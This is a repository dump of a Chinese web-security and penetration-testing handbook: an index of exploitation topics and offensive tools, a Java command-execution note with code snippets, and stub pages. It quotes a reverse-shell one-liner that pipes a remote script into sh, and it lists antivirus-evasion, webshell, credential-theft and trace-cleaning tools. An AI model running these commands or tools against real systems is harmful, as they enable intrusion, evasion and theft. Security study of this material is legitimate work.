├── README.md ├── exp ├── EXP-CI-Java.md ├── EXP-CI-PHP.md ├── EXP-CSRF.md ├── EXP-DB-MSSQL.md ├── EXP-DB-Redis.md ├── EXP-DNS-Rebinding.md ├── EXP-Expression-Injection.md ├── EXP-FCK.md ├── EXP-Include-PHP.md ├── EXP-Java-Unserialize-Bypass-Jdk.md ├── EXP-Java-Unserialize.md ├── EXP-PHP-Unserialize.md ├── EXP-SPEL-Injection.md ├── EXP-SQLi-MySQL.md ├── EXP-SQLi-OOB.md ├── EXP-SQLi-Oracle.md ├── EXP-SSRF.md ├── EXP-SSTI-ALL.md ├── EXP-SSTI-PHP.md ├── EXP-SSTI-Python.md ├── EXP-Upload-JSP.md ├── EXP-Upload.md ├── EXP-XPath.md ├── EXP-XSS.md ├── EXP-XXE.md └── EXP-nodejs-proto.md ├── images ├── cd4.png ├── cd_1.png ├── cd_2.png ├── cd_3.png ├── web-arch-1.png ├── web-arch-2.png ├── web-arch-3.png ├── web-arch-4.png ├── web-arch-5.png ├── web-fc.png ├── web-sec.png ├── xxe-injection.svg └── xxe1.png ├── penetration ├── PEN-GetHash-Linux.md ├── PEN-GetHash.md ├── PEN-Info.md ├── PEN-Linux-LPE.md ├── PEN-LinuxClear.md ├── PEN-MSF.md ├── PEN-Openwrt.md ├── PEN-ReShell.md ├── PEN-Reuse.md ├── PEN-Scanner.md ├── PEN-Setuid-Linux.md ├── PEN-Tun2socks.md ├── PEN-Webshell-Question.md ├── PEN-WiFi-Tool.md ├── PEN-WinCmd.md ├── PEN-ssh.md ├── Webshell-Bypass.md └── logtamper.py └── vul ├── VUL-Backend.md └── VUL-CrossDomain.md /README.md: -------------------------------------------------------------------------------- 1 | # WEB 安全手册 2 | 3 | 4 | 【声明】个人的快速查询目录,经验整理,仅供参考。 5 | 【内容】包括个人对漏洞理解、漏洞利用、代码审计和渗透测试的整理,也收录了他人相关的知识的总结和工具的推荐。 6 | 7 | ## 目录 8 | * [0x00 技能栈](#0x00-技能栈) 9 | * [0x01 漏洞理解篇(Vulnerability)](#0x01-漏洞理解篇vulnerability) 10 | * [1.1 前端](#11-前端) 11 | * [1.2 后端](#12-后端) 12 | * [1.3 打造自己的知识库](#13-打造自己的知识库) 13 | * [0x02 漏洞利用篇(Exploit)](#0x02-漏洞利用篇exploit) 14 | * [2.1 前端安全-XSS](#21-前端安全-xss) 15 | * [2.2 前端安全-CSRF](#22-前端安全-csrf) 16 | * [2.9 Server-side request forgery (SSRF)](#29-server-side-request-forgery-ssrf) 17 | * [2.4 [注入]SQL注入&数据库漏洞利用](#24--注入sql注入数据库漏洞利用) 18 | * [2.5 [注入]模板注入 Server Side Template Injection (SSTI)](#25-注入模板注入-server-side-template-injection-ssti) 19 | * [2.6 [注入]命令注入&代码执行](#26-注入命令注入代码执行) 20 | * [2.7 [注入]Xpath注入](#27-注入xpath注入) 21 | * [2.8 XML External Entity (XXE)](#28-xml-external-entity-xxe) 22 | * [2.9 文件操作漏洞](#29-文件操作漏洞) 23 | * [2.10 反序列化漏洞](#210-反序列化漏洞) 24 | * [2.11 包含漏洞](#211-包含漏洞) 25 | * [2.12 Java-特性漏洞](#212-java-特性漏洞) 26 | * [2.13 NodeJs-特性漏洞](#213-nodejs-特性漏洞) 27 | * [2.14 不一致性](#214-不一致性) 28 | * [0x03 代码审计篇(Audit)](#0x03-代码审计篇audit) 29 | * [3.1 PHP](#31-php) 30 | * [3.2 JAVA](#32-java) 31 | * [3.3 .NET](#33-net) 32 | * [3.4 Perl CGI](#34-perl-cgi) 33 | * [0x04 渗透篇(Penetration)](#0x04-渗透篇penetration) 34 | * [4.1 网络预置](#41-网络预置) 35 | * [4.1.1 代理客户端(环境准备)](#411-代理客户端环境准备) 36 | * [4.1.2 常规信息(单兵)](#412-常规信息单兵) 37 | * [4.1.3 资产搜索引擎(大数据)](#413-资产搜索引擎大数据) 38 | * [4.1.4 移动端信息收集](#414-移动端信息收集) 39 | * [4.1.5 近源渗透(WiFi)](#415-近源渗透wifi) 40 | * [4.2 网络接入(exp)](#42-网络接入exp) 41 | * [4.2.1 漏洞验证(扫描器)](#421-漏洞验证扫描器) 42 | * [4.2.1.1 主动式](#4211-主动式) 43 | * [4.2.1.2 被动式](#4212-被动式) 44 | * [4.2.2漏洞利用(1day)](#422漏洞利用1day) 45 | * [4.2.2.1 漏洞利用知识](#4221-漏洞利用知识) 46 | * [4.2.2.2 漏洞利用工具](#4222-漏洞利用工具) 47 | * [4.2.2.3 dnslog平台](#4223-dnslog平台) 48 | * [4.2.3 字典](#423-字典) 49 | * [4.3 权限获取&提升](#43-权限获取提升) 50 | * [4.3.1 Win](#431-win) 51 | * [4.3.2 Linux](#432-linux) 52 | * [4.3.3 Docker&Sandbox逃逸](#433-dockersandbox逃逸) 53 | * [4.4 权限维持&后门](#44-权限维持后门) 54 | * [4.4.1 通用](#441-通用) 55 | * [4.4.2 Shell会话](#442-shell会话) 56 | * [4.4.2 Webshell](#442-webshell) 57 | * [4.4.3 PC & Server](#443-pc--server) 58 | * [4.4.4 Mobile (Android & ios)](#444-mobile-android--ios) 59 | * [4.5 免杀](#45-免杀) 60 | * [4.5.1 二进制免杀](#451-二进制免杀) 61 | * [4.5.2 webshell免杀和WAF逃逸](#452-webshell免杀和waf逃逸) 62 | * [4.6 隧道&代理](#46-隧道代理) 63 | * [4.6.1 TCP隧道](#461-tcp隧道) 64 | * [4.6.2 HTTP隧道](#462-http隧道) 65 | * [4.6.3 DNS隧道](#463-dns隧道) 66 | * [4.6.3 ICMP隧道](#463-icmp隧道) 67 | * [4.7 后渗透](#47-后渗透) 68 | * [4.7.1 内网信息获取&执行](#471-内网信息获取执行) 69 | * [4.7.2 轻量级扫描工具](#472-轻量级扫描工具) 70 | * [4.7.3 渗透框架](#473-渗透框架) 71 | * [4.7.4 域渗透](#474-域渗透) 72 | * [4.7.5 云平台](#475-云平台) 73 | * [4.8 反溯源](#48-反溯源) 74 | * [4.9 协同](#49-协同) 75 | 76 | 77 | 78 | 79 | ## 0x00 技能栈 80 | 依照红队的流程分工,选择适合自己的技能栈发展。 81 | >越接近中心的能力点越贴近web技术栈,反之亦然。可以根据自身情况,选择技术栈的发展方向。 82 | 83 | ![](./images/web-sec.png) 84 | 85 | 86 | ## 0x01 漏洞理解篇(Vulnerability) 87 | ### 1.1 前端 88 | > 同源策略 & CSP & JOSNP 89 | - [跨域安全](./vul/VUL-CrossDomain.md) 90 | ### 1.2 后端 91 | > 应用分层 & 漏洞分类 92 | - [错综复杂的后端逻辑及安全](./vul/VUL-Backend.md) 93 | 94 | ### 1.3 打造自己的知识库 95 | >爬取范围包括先知社区、安全客、Seebug Paper、跳跳糖、奇安信攻防社区、棱角社区 96 | - [**[Tool]** 推送安全情报爬虫@Le0nsec](https://github.com/Le0nsec/SecCrawler) 97 | 98 | ## 0x02 漏洞利用篇(Exploit) 99 | ### 2.1 前端安全-XSS 100 | > XSS 利用的是用户对指定网站的信任 101 | - [Cross Site Scripting (XSS)](https://github.com/ReAbout/web-exp/blob/master/exp/EXP-XSS.md) 102 | ### 2.2 前端安全-CSRF 103 | > CSRF 利用的是网站对用户网页浏览器的信任 104 | - [Client-side request forgery (CSRF)](https://github.com/ReAbout/web-exp/blob/master/exp/EXP-CSRF.md) 105 | ### 2.9 Server-side request forgery (SSRF) 106 | - [SSRF](https://github.com/ReAbout/web-exp/blob/master/exp/EXP-SSRF.md) 107 | 108 | ### 2.4 [注入]SQL注入&数据库漏洞利用 109 | - [SQL injection - MySQL](./exp/EXP-SQLi-MySQL.md) 110 | - [SQL injection - Oracle](./exp/EXP-SQLi-Oracle.md) 111 | - [SQL injection - MSSQL](./exp/EXP-DB-MSSQL.md) 112 | > MySQL,Oracle,MSSQL和PostgreSQL的OOB方法 113 | - [SQL injection - 信息外带(OOB)](./exp/EXP-SQLi-OOB.md) 114 | 115 | - [Redis 漏洞利用](./exp/EXP-DB-Redis.md) 116 | > go写的命令行版本 117 | - [**[Tool]** 数据库综合利用工具](https://github.com/Hel10-Web/Databasetools) 118 | > 程序检测参数不能为空,导致空口令无法利用 119 | - [**[Tool]** 数据库综合利用工具](https://github.com/Ryze-T/Sylas) 120 | - [**[Tool]** MSSQL利用工具](https://github.com/uknowsec/SharpSQLTools) 121 | 122 | ### 2.5 [注入]模板注入 Server Side Template Injection (SSTI) 123 | > MVC架构中,模板参数恶意输入产生的安全问题 124 | - [STTI 总述](./exp/EXP-SSTI-ALL.md) 125 | - [SSTI -Python](./exp/EXP-SSTI-Python.md) 126 | - [SSTI -PHP](./exp/EXP-SSTI-PHP.md) 127 | - [SSTI Payload @payloadbox](https://github.com/payloadbox/ssti-payloads) 128 | 129 | 130 | ### 2.6 [注入]命令注入&代码执行 131 | - [命令注入&代码执行-PHP](./exp/EXP-CI-PHP.md) 132 | - [命令注入&代码执行-Java](./exp/EXP-CI-Java.md) 133 | ### 2.7 [注入]Xpath注入 134 | > XPath 即为 XML 路径语言 135 | - [XPath Injection](./exp/EXP-XPath.md) 136 | ### 2.8 XML External Entity (XXE) 137 | - [XXE](./exp/EXP-XXE.md) 138 | ### 2.9 文件操作漏洞 139 | - [文件上传漏洞](./exp/EXP-Upload.md) 140 | - [文件上传漏洞WAF绕过-JSP](./exp/EXP-Upload-JSP.md) 141 | > 远古时期的通杀利器 142 | - [FCKeditor编辑器漏洞利用](./exp/EXP-FCK.md) 143 | 144 | ### 2.10 反序列化漏洞 145 | >php,java只能序列化数据,python可以序列化代码。 146 | - [反序列化漏洞-PHP](./exp/EXP-PHP-Unserialize.md) 147 | - [反序列化漏洞-Java](./exp/EXP-Java-Unserialize.md) 148 | - [绕过高版本Jdk的限制进行Jndi注入利用](./exp/EXP-Java-Unserialize-Bypass-Jdk.md) 149 | - [**[Tool]** 反序列化漏洞利用工具-Java ysoserial](https://github.com/frohoff/ysoserial) 150 | > 拓展payload和添加脏数据绕过waf功能 151 | - [**[Tool]** 反序列化漏洞利用工具 针对Java ysoserial进行拓展](https://github.com/su18/ysoserial) 152 | 153 | ### 2.11 包含漏洞 154 | - [包含漏洞-PHP](https://github.com/ReAbout/web-exp/blob/master/exp/EXP-Include-PHP.md) 155 | 156 | ### 2.12 Java-特性漏洞 157 | - [表达式(EL)注入](./exp/EXP-Expression-Injection.md) 158 | - [Spring表达式(SPEL)注入](./exp/EXP-SPEL-Injection.md) 159 | > Confluence和Struct2都使用OGNL 160 | - [OGNL表达式注入](./exp/EXP-OGNL-Injection.md) 161 | - [SprintBoot漏洞利用清单@LandGrey](https://github.com/LandGrey/SpringBootVulExploit) 162 | > 按照清单做的配套工具 163 | - [**[Tool]** SprintBoot漏洞利用工具](https://github.com/0x727/SpringBootExploit) 164 | 165 | 166 | ### 2.13 NodeJs-特性漏洞 167 | - [Node.js 原型链污染](https://github.com/ReAbout/web-exp/blob/master/exp/EXP-nodejs-proto.md) 168 | ### 2.14 不一致性 169 | > 利用前后DNS解析的不一致(劫持或者逻辑问题) 170 | - [DNS rebinding 攻击](./exp/EXP-DNS-Rebinding.md) 171 | > 前后端不一致性 172 | - [请求走私总结@chenjj](https://github.com/chenjj/Awesome-HTTPRequestSmuggling) 173 | 174 | ## 0x03 代码审计篇(Audit) 175 | 176 | ### 3.1 PHP 177 | >自己整理的PHP代码审计 178 | - [PHP代码审计手册](https://github.com/ReAbout/audit-php) 179 | - [PHP代码审计@bowu678](https://github.com/bowu678/php_bugs) 180 | - [PHP代码审计入门指南@burpheart](https://github.com/burpheart/PHPAuditGuideBook) 181 | ### 3.2 JAVA 182 | >自己整理的Java代码审计 183 | - [Java代码审计手册](https://github.com/ReAbout/audit-java) 184 | - [Java代码审计@cn-panda](https://github.com/cn-panda/JavaCodeAudit) 185 | - [Java安全@Y4tacker](https://github.com/Y4tacker/JavaSec) 186 | - [Java漏洞平台@j3ers3](https://github.com/j3ers3/Hello-Java-Sec) 187 | 188 | ### 3.3 .NET 189 | - [.Net反序列化@Ivan1ee](https://github.com/Ivan1ee/NET-Deserialize) 190 | 191 | ### 3.4 Perl CGI 192 | > Perl CGI快速上手,了解Perl语言特性 193 | - [Perl基础&代码审计@mi1k7ea](https://www.mi1k7ea.com/2020/11/24/Perl%E5%9F%BA%E7%A1%80-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/) 194 | 195 | ## 0x04 渗透篇(Penetration) 196 | 【流程】网络预置(准备&信息收集)-->网络接入(外网突破)-->权限获取和提升-->权限维持(后门)-->后渗透 197 | 【基础】---免杀+++反溯源+++协同--- 198 | 199 | 200 | ### 4.1 网络预置 201 | 202 | #### 4.1.1 代理客户端(环境准备) 203 | > 操作系统 on VM + OpenWrt网关 on VM = 全局跳板 204 | - [全局代理[VMware]:Openwrt on VMware网关方案](./penetration/PEN-Openwrt.md) 205 | 206 | > 全局代理,虚拟网卡,需要手动配路由 207 | - [全局代理[Win]:Windows下socks客户端全局代理终极解决方案——tun2socks](./penetration/PEN-Tun2socks.md) 208 | 209 | > SSTap全局代理也是基于虚拟网卡方案,可惜已停止更新,推荐使用1.0.9.7版本 210 | - [**[Tool]** Windows下全局代理客户端工具 SSTap](https://github.com/solikethis/SSTap-backup) 211 | 212 | > 【推荐!】Clash for Windows支持TAP模式基于虚拟网卡方案,走全局 213 | - [**[Tool]** Windows下全局代理客户端工具 Clash for Windows](https://github.com/Fndroid/clash_for_windows_pkg) 214 | 215 | >Proxifier 全局代理支持并不好,可以设置规则选择指定程序走代理或直连 216 | - [**[Tool]** Windows下代理客户端工具 Proxifier](https://www.proxifier.com/) 217 | 218 | - [**[Tool]** Windows版 proxychains](https://github.com/shunf4/proxychains-windows) 219 | 220 | #### 4.1.2 常规信息(单兵) 221 | - [外网信息收集思路](https://github.com/ReAbout/web-exp/blob/master/penetration/PEN-Info.md) 222 | - [IP地址信息网站 ipip.net](http://ipip.net) 223 | - [IP反查域名和子域名查询 rapiddns.io](https://rapiddns.io/) 224 | > 有域名层级图,更直观 225 | - [子域名查询 dnsdumpster](https://dnsdumpster.com/) 226 | #### 4.1.3 资产搜索引擎(大数据) 227 | - [fofa.so](https://fofa.so) 228 | - [shodan.io](https://www.shodan.io/) 229 | - [zoomeye.org](https://www.zoomeye.org/) 230 | - [censys.io](https://search.censys.io/) 231 | #### 4.1.4 移动端信息收集 232 | >从移动端拓展目标信息 233 | - [**[Tool]** 移动端信息收集工具 AppInfoScanner](https://github.com/kelvinBen/AppInfoScanner) 234 | - [**[Tool]** 安全分析框架 MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) 235 | 236 | #### 4.1.5 近源渗透(WiFi) 237 | > 高通410随身wifi改造 238 | - [打造近源渗透工具](./penetration/PEN-WiFi-Tool.md) 239 | 240 | ### 4.2 网络接入(exp) 241 | 242 | #### 4.2.1 漏洞验证(扫描器) 243 | > 工欲其善必先利器 244 | ##### 4.2.1.1 主动式 245 | - [**[Tool]** AWVS Docker版](https://hub.docker.com/r/secfa/docker-awvs) 246 | - [**[Tool]** 长亭的扫描器 Xray](https://github.com/chaitin/xray) 247 | - [**[Tool]** Vulmap](https://github.com/zhzyker/vulmap) 248 | - [**[Tool]** 红队综合渗透框架SatanSword@Lucifer1993](https://github.com/Lucifer1993/SatanSword) 249 | ##### 4.2.1.2 被动式 250 | >将Burpusuite打造成一个被动式扫描器 251 | - [**[Tool]** BurpSutie 插件集合@Mr-xn](https://github.com/Mr-xn/BurpSuite-collections) 252 | 253 | #### 4.2.2漏洞利用(1day) 254 | ##### 4.2.2.1 漏洞利用知识 255 | - [漏洞索引表]()【待整理】 256 | > IoT安全 & web安全& 系统漏洞 1day整理 257 | - [漏洞利用wiki](https://wiki.96.mk/) 258 | - [红队中易被攻击的一些重点系统漏洞整理@r0eXpeR](https://github.com/r0eXpeR/redteam_vul) 259 | - [织梦全版本漏洞扫描@lengjibo](https://github.com/lengjibo/dedecmscan) 260 | ##### 4.2.2.2 漏洞利用工具 261 | > oa 262 | - [**[Tool]** 国内OA系统漏洞检测](https://github.com/LittleBear4/OA-EXPTOOL) 263 | > struts2:利用功能已删除,仅支持检测 264 | - [**[Tool]** Struts2漏洞扫描&利用](https://github.com/HatBoy/Struts2-Scan) 265 | > struts2:GUI,功能齐全 266 | - [**[Tool]** Struts2漏洞扫描&利用](https://github.com/abc123info/Struts2VulsScanTools) 267 | > shiro:GUI,支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测 268 | - [**[Tool]** shiro反序列化漏洞利用](https://github.com/feihong-cs/ShiroExploit-Deprecated) 269 | > shiro:Python,方便修改代码,支持2种加密格式 270 | - [**[Tool]** shiro反序列化漏洞利用](https://github.com/Ares-X/shiro-exploit) 271 | > fastjson 272 | - [**[Tool]** Fastjson漏洞快速利用框架](https://github.com/c0ny1/FastjsonExploit) 273 | > fastjson:各类poc,方便手动测试 274 | - [Fastjson姿势技巧集合@safe6Sec](https://github.com/safe6Sec/Fastjson) 275 | > exchange:爆破 276 | - [**[Tool]** EBurstGo Exchange 服务器 Web 接口爆破邮箱账户](https://github.com/X1r0z/EBurstGo) 277 | > confluence 278 | - [**[Tool]** ConfluenceMemshell Confluence利用工具(CVE-2021-26084,CVE-2022-26134,CVE_2023_22515,CVE-2023-22527)](https://github.com/Lotus6/ConfluenceMemshell) 279 | 280 | ##### 4.2.2.3 dnslog平台 281 | > 用于出网检测,无回显命令执行检测 282 | - [dnslog.cn](http://dnslog.cn/) 283 | - [ceye](http://ceye.io/) 284 | >【推荐!】好用,开源 285 | - [requestrepo](https://requestrepo.com/) 286 | 287 | 288 | #### 4.2.3 字典 289 | 290 | - [常用的字典,用于渗透测试、SRC漏洞挖掘、爆破、Fuzzing等@insightglacier](https://github.com/insightglacier/Dictionary-Of-Pentesting) 291 | - [Fuzzing相关字典@TheKingOfDuck](https://github.com/TheKingOfDuck/fuzzDicts) 292 | >全拼用户名10w 293 | - [爆破字典](https://github.com/rootphantomer/Blasting_dictionary) 294 | 295 | ### 4.3 权限获取&提升 296 | #### 4.3.1 Win 297 | **权限获取:** 298 | > 离线|在线|破解 299 | - [Windows 认证凭证获取](./penetration/PEN-GetHash.md) 300 | - [**[Tool]** mimikatz Windows认证凭证提取神器](https://github.com/gentilkiwi/mimikatz) 301 | - [**[Tool]** go-secdump 利用smb远程无文件落地获取@jfjallid](https://github.com/jfjallid/go-secdump) 302 | 303 | **提权:** 304 | - [Windows提权检测工具 Windows Exploit Suggester](https://github.com/bitsadmin/wesng) 305 | > 已经停止更新到CVE-2018 306 | - [Windows提权漏洞集合@SecWiki](https://github.com/SecWiki/windows-kernel-exploits) 307 | - [PetitPotato for Win10](https://github.com/wh0amitz/PetitPotato) 308 | - [CVE-2022-24481](https://github.com/robotMD5/CVE-2022-24481-POC) 309 | #### 4.3.2 Linux 310 | **权限获取:** 311 | - [Linux 认证凭证获取](./penetration/PEN-GetHash-Linux.md) 312 | 313 | **提权:** 314 | - [Linux 提权检测脚本 lse.sh](https://github.com/diego-treitos/linux-smart-enumeration) 315 | - [Linux setuid提权](./penetration/PEN-Setuid-Linux.md) 316 | > 已经停止更新到CVE-2018 317 | - [Linux提权漏洞集合@SecWiki](https://github.com/SecWiki/linux-kernel-exploits) 318 | 319 | #### 4.3.3 Docker&Sandbox逃逸 320 | 321 | - [Dokcer容器逃逸@duowen1](https://github.com/duowen1/Container-escape-exps) 322 | 323 | ### 4.4 权限维持&后门 324 | #### 4.4.1 通用 325 | > backdoor生成,meterpreter操作指令 326 | - [Meterpreter of Metasploit 使用教程](./penetration/PEN-MSF.md) 327 | 328 | #### 4.4.2 Shell会话 329 | - [反弹/正向 Shell & 升级交互式Shell (Linux&Win)](./penetration/PEN-ReShell.md) 330 | > curl https://reverse-shell.sh/192.168.0.69:1337 | sh 331 | - [**[Tool]** reverse-shell](https://github.com/lukechilds/reverse-shell) 332 | 333 | #### 4.4.2 Webshell 334 | - [**[Tool]** WebShell管理工具 菜刀](https://github.com/raddyfiy/caidao-official-version) 335 | - [**[Tool]** WebShell管理工具 蚁剑](https://github.com/AntSwordProject/AntSword-Loader) 336 | - [**[Tool]** WebShell管理工具 冰蝎](https://github.com/rebeyond/Behinder) 337 | - [**[Tool]** WebShell管理工具 哥斯拉](https://github.com/BeichenDream/Godzilla) 338 | - [收集的各种Webshell@tennc](https://github.com/tennc/webshell) 339 | - [Webshell 命令执行失败问题解决](./penetration/PEN-Webshell-Question.md) 340 | 341 | #### 4.4.3 PC & Server 342 | - [**[Tool]** Cobalt Strike ]() 343 | - [Cobalt Strike资料汇总@zer0yu](https://github.com/zer0yu/Awesome-CobaltStrike) 344 | #### 4.4.4 Mobile (Android & ios) 345 | ### 4.5 免杀 346 | #### 4.5.1 二进制免杀 347 | - [免杀系列文章及配套工具@TideSec](https://github.com/TideSec/BypassAntiVirus) 348 | ##### shellcode加载器 349 | - [**[Tool]** LoaderGo免杀工具@di0xide-U](https://github.com/di0xide-U/LoaderGo) 350 | - [**[Tool]** 千机-红队免杀木马自动生成器@Pizz33](https://github.com/Pizz33/Qianji) 351 | - [**[Tool]** RingQ@T4y1oR](https://github.com/T4y1oR/RingQ) 352 | - [**[Tool]** darkPulse@fdx-xdf](https://github.com/fdx-xdf/darkPulse) 353 | ##### kill杀软 354 | - [**[Tool]** 强关进程EDR-XDR-AV-Killer@EvilBytecode](https://github.com/EvilBytecode/EDR-XDR-AV-Killer) 355 | - [**[Tool]** 强关Windows defender@es3n1n](https://github.com/es3n1n/no-defender) 356 | ##### rootkit 357 | - [**[Tool]** shadow-rs@joaoviictorti](https://github.com/joaoviictorti/shadow-rs) 358 | 359 | #### 4.5.2 webshell免杀和WAF逃逸 360 | - [Webshell免杀&WAF逃逸](./penetration/Webshell-Bypass.md) 361 | - [**[Tool]** 哥斯拉WebShell免杀生成@Tas9er](https://github.com/Tas9er/ByPassGodzilla) 362 | - [**[Tool]** 冰蝎WebShell免杀生成@Tas9er](https://github.com/Tas9er/ByPassBehinder) 363 | - [**[Tool]** 免杀webshell生成集合工具@cseroad](https://github.com/cseroad/Webshell_Generate) 364 | - [**[Tool]** XG拟态-Webshell静态免杀+流量逃逸@xiaogang000](https://github.com/xiaogang000/XG_NTAI) 365 | - [**[Tool]** 哥斯拉二次开发-WAF逃逸+免杀@kong030813](https://github.com/kong030813/Z-Godzilla_ekp) 366 | - 367 | ### 4.6 隧道&代理 368 | #### 4.6.1 TCP隧道 369 | - [SSH 端口转发&开socks5](./penetration/PEN-ssh.md) 370 | - [Iptables 端口复用](./penetration/PEN-Reuse.md) 371 | > FRP 客服端和服务端配合的端口转发工具 372 | - [**[Tool]** 反向端口转发工具 FRP](https://github.com/fatedier/frp) 373 | > Venom 可以嵌套多层代理,适合多层无外网的渗透测试,停止更新 374 | - [**[Tool]** 内网多级代理服务端工具 Venom](https://github.com/Dliv3/Venom/releases) 375 | > 【推荐!】比Venom更加稳定,持续更新 376 | - [**[Tool]** 内网多级代理服务端工具 Stowaway](https://github.com/ph4ntonn/Stowaway) 377 | #### 4.6.2 HTTP隧道 378 | >HTTP代理,国内更新维护 379 | - [**[Tool]** HTTP代理 Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) 380 | >HTTP代理,号称性能是neo的10倍 381 | - [**[Tool]** HTTP代理 suo5](https://github.com/zema1/suo5) 382 | #### 4.6.3 DNS隧道 383 | - [**[Tool]** DNS隧道工具 iodine](https://github.com/yarrick/iodine) 384 | #### 4.6.3 ICMP隧道 385 | - [**[Tool]** ICMP隧道工具 PingTunnel](https://github.com/esrrhs/pingtunnel) 386 | 387 | 388 | ### 4.7 后渗透 389 | #### 4.7.1 内网信息获取&执行 390 | > 信息获取 & 远程文件操作 & 远程执行命令 & ipc$ & wmi & winrm 391 | - [Windows 主机常用命令](./penetration/PEN-WinCmd.md) 392 | > 超强神器,wmi,smb等执行脚本,python方便liunx使用 393 | - [**[Tool]** Impacket](https://github.com/fortra/impacket) 394 | > 可以提取流量中用户名&密码,NTML Hash,图片等,以及绘制网络拓扑。 395 | - [**[Tool]** 流量取证工具 BruteShark](https://github.com/odedshimon/BruteShark) 396 | > Windows rdp相关的登录记录导出工具。 397 | - [**[Tool]** 浏览器数据导出解密工具](https://github.com/moonD4rk/HackBrowserData) 398 | - [**[Tool]** SharpRDPLog](https://github.com/Adminisme/SharpRDPLog) 399 | > Xshell在本地保存的密码进行解密 400 | - [**[Tool]** SharpXDecrypt](https://github.com/JDArmy/SharpXDecrypt) 401 | #### 4.7.2 轻量级扫描工具 402 | > 内网扫描神器,go语言跨平台,效率快,支持各类口令爆破,还有主机识别和web服务识别。 403 | - [**[Tool]** fscan](https://github.com/shadow1ng/fscan) 404 | > k8 team的内网扫描器 405 | - [**[Tool]** Landon](https://github.com/k8gege/LadonGo) 406 | 407 | #### 4.7.3 渗透框架 408 | - [**[Tool]** 后渗透利用神器 Metasploit](https://www.metasploit.com/) 409 | - [**[Tool]** 内网横向拓展系统 InScan](https://github.com/inbug-team/InScan) 410 | - [**[Tool]** 开源图形化内网渗透工具 Viper](https://github.com/FunnyWolf/Viper) 411 | #### 4.7.4 域渗透 412 | - [域渗透@uknowsec](https://github.com/uknowsec/Active-Directory-Pentest-Notes) 413 | - 域提权:MS14-068,CVE-2020-1472(Zerologon),CVE-2021-42287/CVE-2021-42278,CVE-2022-26923 414 | 415 | #### 4.7.5 云平台 416 | >k8s渗透 417 | - [从零开始的Kubernetes攻防@neargle](https://github.com/neargle/my-re0-k8s-security) 418 | >通过accesskey获取相关主机权限执行命令 419 | - [**[Tool]** Aliyun Accesskey Tool](https://github.com/mrknow001/aliyun-accesskey-Tools) 420 | - [**[Tool]** CF 云环境利用框架](https://github.com/teamssix/cf) 421 | 422 | ### 4.8 反溯源 423 | - [Linux 痕迹清理](./penetration/PEN-LinuxClear.md) 424 | - [攻击和反制@Getshell](https://github.com/Getshell/Fanzhi) 425 | - [**[Tool]** xhide linux进程名隐藏](https://github.com/chenkaie/junkcode/blob/master/xhide.c) 426 | ### 4.9 协同 427 | - [HackMD markdown协同工具(Docker版)](https://hackmd.io/c/codimd-documentation/%2Fs%2Fcodimd-docker-deployment) 428 | > 简单,美观 429 | - [文件管理系统](https://github.com/filebrowser/filebrowser) 430 | ## Other 431 | [toc目录生成工具](https://houbb.github.io/opensource/markdown-toc/) 432 | 433 | ![Star History Chart](https://api.star-history.com/svg?repos=ReAbout/web-sec&type=Date) 434 | -------------------------------------------------------------------------------- /exp/EXP-CI-Java.md: -------------------------------------------------------------------------------- 1 | # 命令注入&代码执行-Java 2 | 3 | ## 如何发现? 4 | 5 | Java中命令执行的类/函数 6 | ``` 7 | java.lang.Runtime 8 | java.lang.ProcessBuilder 9 | java.lang.ProcessImpl 10 | javax.script.ScriptEngineManager 11 | groovy.lang.GroovyShell 12 | ``` 13 | 14 | ### java.lang.Runtime 15 | `Runtime.getRuntime().exec(cmd)` 16 | 非/bin/sh和cmd的程序命令执行,无法命令注入,可以考虑参数注入。 17 | 参考:[GTFOBins](https://gtfobins.github.io/),总结Linux命令中可执行命令、文件读写等操作的参数。 18 | ### java.lang.ProcessBuilder 19 | ``` 20 | StringBuilder sb = new StringBuilder(); 21 | 22 | try { 23 | //String[] arrCmd = {"/bin/sh", "-c", cmd}; //linux 24 | String[] arrCmd = {cmd}; //windows,windos下无需指定 25 | ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); 26 | Process p = processBuilder.start(); 27 | BufferedInputStream in = new BufferedInputStream(p.getInputStream()); 28 | BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); 29 | String tmpStr; 30 | 31 | while ((tmpStr = inBr.readLine()) != null) { 32 | sb.append(tmpStr); 33 | } 34 | } catch (Exception e) { 35 | return e.toString(); 36 | } 37 | 38 | return sb.toString(); 39 | ``` 40 | 41 | ### java.lang.ProcessImpl 42 | ``` 43 | Class clazz = Class.forName("java.lang.ProcessImpl"); 44 | Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); 45 | start.setAccessible(true); 46 | start.invoke(null, new String[]{"calc"}, null, null, null, false); 47 | ``` 48 | ### javax.script.ScriptEngineManager 49 | ``` 50 | /*jsurl 51 | var a = mainOutput(); 52 | function mainOutput() { 53 | var x=java.lang.Runtime.getRuntime().exec("calc"); 54 | } 55 | */ 56 | ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");//通过文件扩展名获取: 57 | //ScriptEngine engine = manager.getEngineByName("JavaScript");//通过脚本名称获取: 58 | //ScriptEngine engine = manager.getEngineByMimeType("text/javascript"); //通过MIME类型来获取: 59 | Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎 60 | String cmd = String.format("load(\"%s\")", jsurl);//可直接远程加载jsurl=http://127.0.0.1/re.js 61 | engine.eval(cmd, bindings); 62 | ``` 63 | ### groovy.lang.GroovyShell 64 | ``` 65 | public void groovyshell(String content) { 66 | GroovyShell groovyShell = new GroovyShell(); 67 | groovyShell.evaluate(content); 68 | } 69 | ``` 70 | 71 | ## Ref 72 | - [Java代码审计之RCE(远程命令执行)](https://blog.51cto.com/u_13963323/5066457) 73 | -------------------------------------------------------------------------------- /exp/EXP-CI-PHP.md: -------------------------------------------------------------------------------- 1 | # 命令注入&代码执行-PHP 2 | 3 | - [PHP代码命令注入小结](https://www.freebuf.com/column/166385.html) 4 | -------------------------------------------------------------------------------- /exp/EXP-CSRF.md: -------------------------------------------------------------------------------- 1 | # 前端安全-CSRF 2 | [toc] 3 | ## Introduction 4 | 跨站请求伪造(Cross-site request forgery) 5 | 